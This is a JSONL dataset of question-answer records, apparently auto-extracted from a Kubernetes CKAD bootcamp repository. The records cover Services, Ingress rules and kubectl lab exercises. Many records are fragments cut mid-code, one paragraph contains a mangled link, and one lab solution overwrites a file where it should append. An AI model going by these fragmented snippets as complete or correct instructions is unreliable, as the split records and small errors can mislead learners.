updates](https://github.com/piouson/ckad-bootcamp#lab-74-rolling-updates)\nhint 4\nYou can view more details of a rollout revision with `kubectl rollout history --revision=$REVISION_NUMBER`\nhint 5\nDid you test that the Pods are serving an actual webpage? This task isn't complete without testing the webpage - Pods in _Running_ state doesn't mean _fully functional_ version.\nhint 6\nYou can test a Pod with `kubectl port-forward`, by creating a temporary Pod `kubectl run --rm -it --image=nginx:alpine -- sh` and running `curl $POD_IP`, etc.\nhint 7\nAlways remember `kubectl explain` when you encounter new requirements. Use this to figure out what rolling update parameters are required.\nhint 8\nYou can update a Deployment's image quickly with `kubectl set image --help`. You're not required to count Pods during rolling update, all should be fine long as you have `maxSurge` and `maxUnavailable` set correctly.\nhint 9\nAny change that triggers a rollout (changing anything under `deploy.spec.template`) will create a new ReplicaSet which becomes visible with `kubectl rollout history`. \\\n  Be sure to perform updates one after the other, without batching, as an exam question dictates, especially if the changes trigger a rollout. For example, apply replicas and update strategy change", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754769"}
{"id": "gh_d8cdd03b73b7", "question": "How to: pod targeted", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Pod\nmetadata:\n  labels:\n    appid: webapp # matches label selector of service\n  name: mypod\n---", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754777"}
{"id": "gh_72fb8c27d9e0", "question": "How to: specify a different service name, the deployment name is used if not specified", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl expose deploy myapp --port=80 --name=myappsvc", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754787"}
{"id": "gh_4a94fb60ef5c", "question": "How to: specify container port 8000", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl expose deploy myapp --port=80 --target-port=8000", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754792"}
{"id": "gh_6ef98f0bff7f", "question": "How to: create a NodePort service", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl expose deploy myapp --type=NodePort --port=80", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754797"}
{"id": "gh_a6bc8b42d380", "question": "How to: Lab 8.1. Connecting applications with services", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a simple deployment with name `webserver`\n2. List created resources\n3. List endpoints, and pods with their IPs\n   - Can you spot the relationship between the Service, Endpoints and Pods?\n4. Create a Service for the deployment, exposed on port 80\n5. List created resources and note services fields `TYPE`, `CLUSTER-IP`, `EXTERNAL-IP` and `PORT(S)`\n6. View more details of the Service and note fields `IPs`, `Port`, `TargetPort` and `Endpoints`\n7. View the YAML form of the Service and compare info shown with output in [6]\n8. Print the Service env-vars from one of the pods\n9. Scale the deployment down to 0 replicas first, then scale up to 2 replicas\n10. List all pods and their IPs\n11. Print the Service env-vars from one of the pods and compare to results in [3]\n12. List endpoints, and pods with their IPs\n13. Access the app by the Service: `curl $ClusterIP:$Port`\n14. Access the app by the Service from the container host: `minikube ssh` then `curl $ClusterIP:$Port`\n15. Run a `busybox` Pod with a shell connected interactively and perform the following commands:\n    - run `cat /etc/resolv.conf` and review the output\n    - run `nslookup webserver` (service name) and review the output\n    - what IPs and/or qualified names do these match?\n16. Run a temporary `nginx:alpine` Pod to query the Service by name:\n    - first run `kubectl run mypod --rm -it --image=nginx:alpine -- sh`\n    - then once in container, run `curl $SERVICE_NAME:$PORT`\n    - you should run `curl $SERVICE_NAME.$SERVICE_NAMESPACE:$PORT` if the Service and the temporary Pod are in separate Namespaces\n17. Delete created resources\n18. Explore the Service object and the Service spec\nlab 8.1 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754812"}
{"id": "gh_289047e1e564", "question": "How to: cluster node terminal", "question_body": "About piouson/kubernetes-bootcamp", "answer": "curl $CLUSTER_IP # success with both docker-desktop and docker-engine\nexit", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754823"}
{"id": "gh_648bb4a35c40", "question": "How to: Lab 8.2. Connect a frontend to a backend using services", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In this lab, we will implement a naive example of a _backend-frontend_ microservices architecture - expose frontend to external traffic with `NodePort` Service while keeping backend hidden with `ClusterIP` Service.\n\n> Note that live environments typically use [_Ingress_](#9-ingress) (covered in the next chapter) to expose applications to external traffic\nBackend-Frontend\nmicroservices architecture example\n![backend-frontend microservice architecture](https://user-images.githubusercontent.com/17856665/187857523-8d0fd28f-d540-4453-bae9-ff5481d63e07.png)\n1. Create a simple Deployment, as our `backend` app, with the following spec:\n   - image `httpd` (for simplicity)\n   - name `backend`\n   - has Labels `app: backend` and `tier: webapp`\n   - has Selectors `app: backend` and `tier: webapp`\n2. Create a Service for the backend app with the following spec:\n   - type `ClusterIP`\n   - port 80\n   - same name, Labels and Selectors as backend Deployment\n3. Confirm you can access the app by `$CLUSTER-IP` or `$SERVICE_NAME`\n4. Configure an [nginx upstream in `nginx/default.conf`](https://docs.nginx.com/nginx/admin-guide/load-balancer/dynamic-configuration-api/) to redirect traffic for the `/` route to the backend service\n   ```sh\n   # nginx/default.conf\n   upstream backend-server {\n       server backend; # dns service discovery within the same namespace use service name\n   }\n\n   server {\n       listen 80;\n\n       location / {\n           proxy_pass http://backend-server;\n       }\n   }\n   ```\n5. Create a simple Deployment, as our `frontend` app, with the following spec:\n   - image `nginx`\n   - name `frontend`\n   - has Labels `app: webapp` and `tier: frontend`\n   - has Selectors `app: webapp` and `tier: frontend`\n   - Remember that Services target Pods by Selector (the Label Selector of the Service must match the Label of the Pod)\n   - mounts the nginx config file to `/etc/nginx/conf.d/default.conf` (use fullpath `$(pwd)/nginx/default.conf`)\n   - see example [_hostPath volume mount manifest_](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath-configuration-example)\n6. Create a Service for the frontend app with the following spec:\n   - type `NodePort`\n   - port 80\n   - same name, Labels and Selectors as frontend Deployment\n   - Remember that Services target Pods by Selector\n7. Confirm you can access the backend app from the Minikube Node `$(minikube ip):NodePort`\n8. Delete created resources\nlab 8.2 solution\n```sh\nkubectl create deploy backend --image=httpd --dry-run=client -o yaml > lab8-2.yaml\necho --- >> lab8-2.yaml\nkubectl expose deploy backend --port=80 --dry-run=client -o yaml >> lab8-2.yaml\nnano lab8-2.yaml\n```\n\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754853"}
{"id": "gh_8c4df24f462f", "question": "How to: backend deploymemt", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Deployment\nmetadata:\n  labels:\n    app: backend\n    tier: webapp\n  name: backend\nspec:\n  selector:\n    matchLabels:\n      app: backend\n      tier: webapp\n  template:\n    metadata:\n      labels:\n        app: backend\n        tier: webapp", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754860"}
{"id": "gh_8183befa2691", "question": "How to: backend service", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Service\nmetadata:\n  labels:\n    app: backend\n    tier: webapp\n  name: backend\nspec:\n  selector:\n    app: backend\n    tier: webapp\n```\n\n```sh\nkubectl apply -f lab8-2.yaml\ncurl $CLUSTER_IP # or run in node terminal `minikube ssh`\nmkdir nginx\nnano nginx/default.conf # use snippet from step [4]\necho --- >> lab8-2.yaml\nkubectl create deploy frontend --image=nginx --dry-run=client -o yaml >> lab8-2.yaml\necho --- >> lab8-2.yaml\nkubectl expose deploy frontend --port=80 --dry-run=client -o yaml >> lab8-2.yaml\nnano lab8-2.yaml\n```\n\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754867"}
{"id": "gh_ea662ef9b9e1", "question": "How to: frontend deploymemt", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Deployment\nmetadata:\n  labels:\n    app: frontend\n    tier: webapp\n  name: frontend\nspec:\n  selector:\n    matchLabels:\n      app: frontend\n      tier: webapp\n  template:\n    metadata:\n      labels:\n        app: frontend\n        tier: webapp\n    spec:\n      containers:\n      - image: nginx\n        volumeMounts:\n        - mountPath: /etc/nginx/conf.d/default.conf\n          name: conf-volume\n      volumes:\n      - name: conf-volume\n        hostPath:\n          path: /full/path/to/nginx/default.conf # `$(pwd)/nginx/default.conf`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754873"}
{"id": "gh_7cab55b63385", "question": "How to: frontend service", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Service\nmetadata:\n  labels:\n    app: frontend\n    tier: webapp\n  name: frontend\nspec:\n  type: NodePort\n  selector:\n    app: frontend\n    tier: webapp\n```\n\n```sh\nkubectl apply -f lab8-2.yaml\nkubectl get svc,pods\ncurl $(minikube ip):$NODE_PORT # shows backend httpd page\nkubectl delete -f lab8-2.yaml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754878"}
{"id": "gh_9b83f16d84ab", "question": "How to: Task - Service", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Create a Pod named `webapp` in the `pig` Namespace (create new if required), running `nginx:1.20-alpine` image. The Pod should have a Annotation `motd=\"Welcome to Piouson's CKAD Bootcamp\"`. Expose the Pod on port 8080.\nhints\nhint 1\nDid you create the Pod in the `pig` Namespace? You should create the Namespace if it doesn't exist.\nhint 2\nYou can set Annotation when creating a Pod, see `kubectl run --help`\nhint 3\nActually, besides creating the Namespace, you can complete the rest of the task in a single command. Completing this task any other way is not but time wasting. Have a deeper look at `kubectl run --help`.\nhint 4\nDid you test you are able to access the app via the Service? This task is not complete until you confirm the application is accessible via the Service.\nhint 5\nYou can test the Service by connecting a shell to a temporary Pod `kubectl run -it --rm --image=nginx:alpine -n $NAMESPACE -- sh` and run `curl $SERVICE_NAME:$PORT`. If you did not create the temporary Pod in the same Namespace, you will need to add the Namespace to the hostname `curl $SERVICE_NAME.$NAMESPACE:$PORT`. \\\n  Testing this way, with Service hostname, is also a way to confirm DNS is working in the cluster.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754886"}
{"id": "gh_707dbbb1bac4", "question": "How to: Task - Service II", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A bootcamp student is stuck on a _simple task_ and would appreciate your expertise. Their goal is to create a `webapp` Deployment running `gcr.io/google-samples/node-hello:1.0` image in the `bat` Namespace, exposed on port 80 and _NodePort_ 32500. The student claims _everything_ was setup as explained in class but still unable to access the application via the Service. Swoop down like a superhero and save the day by picking up where the student left off.\n\n- Command to setup environment:\n  ```sh\n  printf '\\nlab: environment setup in progress...\\n'; echo '{\"apiVersion\":\"v1\",\"kind\":\"List\",\"items\":[{\"apiVersion\":\"v1\",\"kind\":\"Namespace\",\"metadata\":{\"name\":\"bat\"}},{\"apiVersion\":\"apps/v1\",\"kind\":\"Deployment\",\"metadata\":{\"labels\":{\"appid\":\"webapp\"},\"name\":\"webapp\",\"namespace\":\"bat\"},\"spec\":{\"replicas\":2,\"selector\":{\"matchLabels\":{\"appid\":\"webapp\"}},\"template\":{\"metadata\":{\"labels\":{\"appid\":\"webapp\"}},\"spec\":{\"containers\":[{\"image\":\"gcr.io/google-samples/node-hello:1.0\",\"name\":\"nginx\"}]}}}},{\"apiVersion\":\"v1\",\"kind\":\"Service\",\"metadata\":{\"labels\":{\"appid\":\"webapp\"},\"name\":\"webapp\",\"namespace\":\"bat\"},\"spec\":{\"ports\":[{\"port\":80,\"protocol\":\"TCP\",\"targetPort\":80}],\"selector\":{\"app\":\"webapp\"}}}]}' | kubectl apply -f - >/dev/null; echo 'lab: environment setup complete!'\n  ```\n- Command to destroy environment\n  ```sh\n  kubectl delete ns bat\n  ```\nhints\nhint 1\nDid you check for the relationship between the Service, Endpoint and Pods? When a Service with a _Selector_ is created, an Endpoint with the same name is automatically created. See [_lab 8.1 - connecting applications with services_](#lab-81-connecting-applications-with-services).\nhint 2\nDid you confirm that the Service configuration matches the requirements with `kubectl describe svc`? You should also run some tests, see [_discovering services_](#discovering-services) and [_lab 8.1 - connecting applications with services_](#lab-81-connecting-applications-with-services).\nhint 3\nIf you're still unable to access the app but Endpoints have correct IP addresses, you might want to check if there is a working application to begin with. See [_lab 5.1 - creating pods_](#lab-51-creating-pods)\nhint 4\nNow you have the container port? Is the Service configured to use this container port? Is the Pod configured to use this container port? 💡\nhint 5\nRemember a Service can specify three types of ports: `port | targetPort | nodePort`. Which is the container port?\nhint 6\nFor a Service, you can quickly verify the configured container port by reviewing the IP addresses of the Service Endpoint, they should be of the form `$POD_IP:CONTAINER_PORT` \\\n  Once resolved, you should be able to access the application via the Service with `curl`.\nhint 7\nFor a Pod, you can quickly verify the configured container port by reviewing the ReplicaSet config with `kubectl describe rs`. \\\n  Once resolved, you should be able to access the application via the Service with `curl`.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754904"}
{"id": "gh_4c598877f215", "question": "How to: 9. Ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) exposes HTTP and HTTPS routes from outside the cluster to services within the cluster. Traffic routing is controlled by rules defined on the Ingress resource. Ingress may be configured to give Services externally-reachable URLs, [load balance traffic](https://www.cloudflare.com/en-in/learning/performance/what-is-load-balancing/), [terminate SSL/TLS](https://www.f5.com/services/resources/glossary/ssl-termination), and offer [name-based virtual hosting](https://www.tecmint.com/apache-ip-based-and-name-based-virtual-hosting/).\n\n> 💡 Only creating an Ingress resource has no effect! You must have an [Ingress controller](https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/) to satisfy an Ingress. In our local lab, we will use the _Minikube Ingress controller_\ningress-service topology\n![ingress network topology](https://user-images.githubusercontent.com/17856665/188259540-a6755ae5-d885-41f3-8e1e-1cee6f5e1bcc.png)\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754913"}
{"id": "gh_50b893f71e35", "question": "How to: enable ingress manually", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v0.44.0/deploy/static/provider/cloud/deploy.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754919"}
{"id": "gh_1f148698ad19", "question": "How to: view ingress spec", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain ingress.spec | less\n```\n\n> You can remove the need for a trailing slash `/` in urls by adding annotation `nginx.ingress.kubernetes.io/rewrite-target: /` to ingress spec `ingress.metadata.annotations`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754926"}
{"id": "gh_cff54857251a", "question": "How to: Lab 9.1 Enable Ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. List existing namespaces\n2. Enable Ingress on minikube\n3. List Namespaces and confirm new Ingress Namespace added\n4. List all resources in the Ingress Namespace, including the _ingressclass_\n5. Review the _ingress-nginx-controller_ Service in YAML form, note service type and ports\n6. Review the _ingressclass_ in YAML form, is this marked as the default?\n7. Review the Ingress spec\nlab9.1 solution\n```sh\nkubectl get ns # not showing ingress-nginx namespace \nminikube addons list # ingress not enable\nminikube addons enable ingress\nminikube addons list # ingress enabled\nkubectl get ns # shows ingress-nginx namespace\nkubectl get all,ingressclass -n ingress-nginx # shows pods, services, deployment, replicaset, jobs and ingressclass\nkubectl get svc ingress-nginx-controller -o yaml | less\nkubectl get ingressclass nginx -o yaml | less # annotations - ingressclass.kubernetes.io/is-default-class: \"true\"\nkubectl explain ingress.spec | less\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754933"}
{"id": "gh_ccb99c0505ae", "question": "How to: Ingress Types", "question_body": "About piouson/kubernetes-bootcamp", "answer": "- **single-service ingress** defines a single rule to access a single service\n- **simple fanout ingress** defines two or more rules of different paths to access different services\n- **name-based virtual hosting ingress** defines two or more rules with dynamic routes based on host header - requires a DNS entry for each host header\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754938"}
{"id": "gh_6f2667e4730b", "question": "How to: create ingress with a specified rule, see `kubectl create ingress -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create ingress $INGRESS_NAME --rule=\"$PATH=$SERVICE_NAME:$PORT\"", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754942"}
{"id": "gh_fa79dfdb9bca", "question": "How to: create single-service ingress `myingress`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create ingress myingress --rule=\"/=app1:80\"", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754946"}
{"id": "gh_5defc13d2ddb", "question": "How to: create simple-fanout ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create ingress myingress --rule=\"/=app1:80\" --rule=\"/about=app2:3000\" --rule=\"/contact=app3:8080\"", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754950"}
{"id": "gh_05c5dd722bf2", "question": "How to: create name-based-virtual-hosting ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create ingress myingress --rule=\"api.domain.com/*=apiservice:80\" --rule=\"db.domain.com/*=dbservice:80\" --rule=\"app.domain.com/*=appservice:80\"\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754954"}
{"id": "gh_1e8c67abdb5a", "question": "How to: Lab 9.2 Understanding ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a Deployment called `web` using a `httpd` image\n2. Expose the deployment with a _Cluster-IP_ Service called `web-svc`\n3. Create an Ingress called `web-ing` with a _Prefix_ rule to redirect `/` requests to the Service\n4. List all created resources - what is the value of Ingress `CLASS`, `HOSTS` & `ADDRESS`?\n   - think about why the `CLASS` and `HOSTS` have such values..\n5. Access the app `web` via ingress `curl $(minikube ip)`\n   - note that unlike Service, a _NodePort_ isn't specified\n6. What if we want another application on `/test` path, will this work? Repeat steps 3-7 to confirm:\n   - create a new deployment `web2` with image `httpd`\n   - expose the new deployment `web2-svc`\n   - add new _Prefix_ path to existing ingress rule to redirect `/test` to `web2-svc`\n   - are you able to access the new `web2` app via `curl $(minikube ip)/test`?\n   - are you still able to access the old `web` app via `curl $(minikube ip)`?\n   - what's missing?\n7. Let's fix this by adding the correct _Annotation_ to the Ingress config, `kubectl edit ingress web-ing`:\nfix ingress\n```yaml\n   metadata:\n     name: web-ing\n     annotations:\n       nginx.ingress.kubernetes.io/rewrite-target: /\n   ```\n8. Try to access both apps via URLs `curl $(minikube ip)/test` and `curl $(minikube ip)`\n9. Can you access both apps using HTTPS?\n10. Review the _ingress-nginx-controller_ by running: `kubectl get svc -n ingress-nginx`\n    - what is the _ingress-nginx-controller_ Service type?\n    - what are the ports related to HTTP `80` and HTTPS `443`?\n11. Can you access both apps via the _ingress-nginx-controller_ NodePorts for HTTP and HTTPS?\n12. Delete all created resources\nlab9.2 solution\n```sh\nkubectl create deploy web --image=httpd --dry-run=client -oyaml > lab9-2.yml\nkubectl apply -f lab9-2.yml\necho --- >> lab9-2.yml\nkubectl expose deploy web --name=web-svc --port=80 --dry-run=client -oyaml >> lab9-2.yml\necho --- >> lab9-2.yml\nkubectl create ingress web-ing --rule=\"/*=web-svc:80\" --dry-run=client -oyaml >> lab9-2.yml\nkubectl apply -f lab9-2.yml\nkubectl get deploy,po,svc,ing,ingressclass # CLASS=nginx, HOSTS=*, ADDRESS starts empty then populated later\ncurl $(minikube ip) # it works\necho --- >> lab9-2.yml\nkubectl create deploy web2 --image=httpd --dry-run=client -oyaml > lab9-2.yml\nkubectl apply -f lab9-2.yml\necho --- >> lab9-2.yml\nkubectl expose deploy web2 --name=web2-svc --port=80 --dry-run=client -oyaml >> lab9-2.yml\nKUBE_EDITOR=nano kubectl edit ingress web-ing\n```\n\n```yaml\nKind: Ingress\nspec:\n  rules:\n  - http:\n      paths:\n      - path: /\n        pathType: Prefix\n        ...\n      - path: /test\n        pathType: Prefix\n        backend:\n          service:\n            name: web2-svc\n            port:\n              number: 80", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754966"}
{"id": "gh_6117c59f2fb6", "question": "How to: Lab 9.3. Simple fanout Ingress", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create an Ingress `webapp-ingress` that:\n   - redirects requests for path `myawesomesite.com/` to a Service `webappsvc:80`\n   - redirects requests for path `myawesomesite.com/hello` to a Service `hellosvc:8080`\n   - remember to add the _Rewrite_ Annotation\n2. List created resources - compare the value of Ingress `HOSTS` to the previous lab\n3. View more details of the Ingress and review the notes under _Rules_\n4. View the Ingress in YAML form and review the structure of the Rules\n5. Create a Deployment `webapp` with image `httpd`\n6. Expose the `webapp` Deployment as _NodePort_ with service name `webappsvc`\n7. List all created resources - ingress, service, deployment and other resources associated with the deployment\n8. View more details of the Ingress and review the notes under _Rules_\n9. Can you access `webapp` via the minikube Node `curl $(minikube ip)` or `curl myawesomesite.com`?\n10. Create a second Deployment `hello` with image `gcr.io/google-samples/hello-app:1.0`\n11. Expose `hello` as _NodePort_ with service name `hellosvc`\n12. List newly created resources - service, pods, deployment etc\n13. View more details of the Ingress and review the notes under _Rules_\n14. Can you access `hello` via `curl $(minikube ip)/hello` or `myawesomesite.com/hello`?\n15. Add an entry to `/etc/hosts` that maps the minikube Node IP to an hostname `$(minikube ip) myawesomesite.com`\n16. Can you access `webapp` via `curl $(minikube ip)` or `myawesomesite.com` with HTTP and HTTPS\n17. Can you access `hello` via `curl $(minikube ip)/hello` or `myawesomesite.com/hello` with HTTP and HTTPS\n18. Can you access `webapp` and `hello` on `myawesomesite.com` via the NodePorts specified by the `ingress-nginx-controller`, `webappsvc` and `hellosvc` Services?\n19. Delete created resources\nlab9.3 solution\n```sh\nkubectl create ingress webapp-ingress --rule=\"myawesomesite.com/*=webappsvc:80\" --rule=\"myawesomesite.com/hello/*=hellosvc:8080\" --dry-run=client -oyaml > lab9-3.yaml\necho --- >> lab9-3.yaml\nkubectl apply -f lab9-3.yaml\nkubectl get ingress\nkubectl describe ingress webapp-ingress | less # endpoints not found\nkubectl get ingress webapp-ingress -oyaml | less\nkubectl create deploy webapp --image=httpd --dry-run=client -oyaml >> lab9-3.yaml\necho --- >> lab9-3.yaml\nkubectl apply -f lab9-3.yaml\nkubectl expose deploy webapp --name=webappsvc --type=NodePort --port=80 --dry-run=client -o yaml >> lab9-3.yaml\necho --- >> lab9-3.yaml\nkubectl apply -f lab9-3.yaml\nkubectl get ingress,all\nkubectl describe ingress webapp-ingress | less # only webappsvc endpoint found\ncurl $(minikube ip) # 404 not found\ncurl myawesomesite.com # 404 not found\nkubectl create deploy hello --image=gcr.io/google-samples/hello-app:1.0 --dry-run=client -o yaml >> lab9-3.yaml\necho --- >> lab9-3.yaml\nkubectl apply -f lab9-3.yaml\nkubectl expose deploy hello --name=hellosvc --type=NodePort --port=8080 --dry-run=client -o yaml >> lab9-3.yaml\necho --- >> lab9-3.yaml\nkubectl apply -f lab9-3.yaml\nkubectl get all --selector=\"app=hello\"\nkubectl describe ingress webapp-ingress | less # both endpoints found\ncurl $(minikube ip)/hello # 404 not found\ncurl myawesomesite.com/hello # 404 not found\necho \"$(minikube ip) myawesomesite.com\" | sudo tee -a /etc/hosts # see `tee --help`\ncurl $(minikube ip) # 404 not found\ncurl $(minikube ip)/hello # 404 not found\ncurl myawesomesite.com # it works\ncurl myawesomesite.com/hello # hello world\ncurl https://myawesomesite.com --insecure # it works\ncurl https://myawesomesite.com/hello --insecure # hello world\nkubectl get svc -A # find NodePorts for ingress-nginx-controller, webappsvc and hellosvc\ncurl myawesomesite.com:$NODE_PORT_FOR_WEBAPPSVC # it works\ncurl myawesomesite.com:$NODE_PORT_FOR_HELLOSVC # hello world\ncurl myawesomesite.com:$HTTP_NODE_PORT_FOR_NGINX_CONTROLLER # it works\ncurl myawesomesite.com:$HTTP_NODE_PORT_FOR_NGINX_CONTROLLER/hello # hello world\ncurl https://myawesomesite.com:$HTTPS_NODE_PORT_FOR_NGINX_CONTROLLER --insecure\ncurl https://myawesomesite.com:$HTTPS_NODE_PORT_FOR_NGINX_CONTROLLER/hello --insecure\nkubectl delete -f lab9-3.yaml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754981"}
{"id": "gh_4b46aace2aa4", "question": "How to: Ingress rules", "question_body": "About piouson/kubernetes-bootcamp", "answer": "This is similar to defining API routes on a backend application, except each defined route points to a separate application/service/deployment.\n\n- if no host is specified, the rule applies to all inbound HTTP traffic\n- paths can be defined with a [POSIX regex](https://www.gnu.org/software/findutils/manual/html_node/find_html/)\n- each path points to a resource backend defined with a `service.name` and a `service.port.name` or `service.port.number`posix_002dextended-regular-expression-syntax.html)\n- both the host and path must match the content of an incoming request before the load balancer directs traffic to the referenced Service\n- a default path `.spec.defaultBackend` can be defined on the Ingress or _Ingress controller_ for traffic that doesn't match any known paths, similar to a 404 route - if `defaultBackend` is not set, the default 404 behaviour will depend on the type of _Ingress controller_ in use", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754988"}
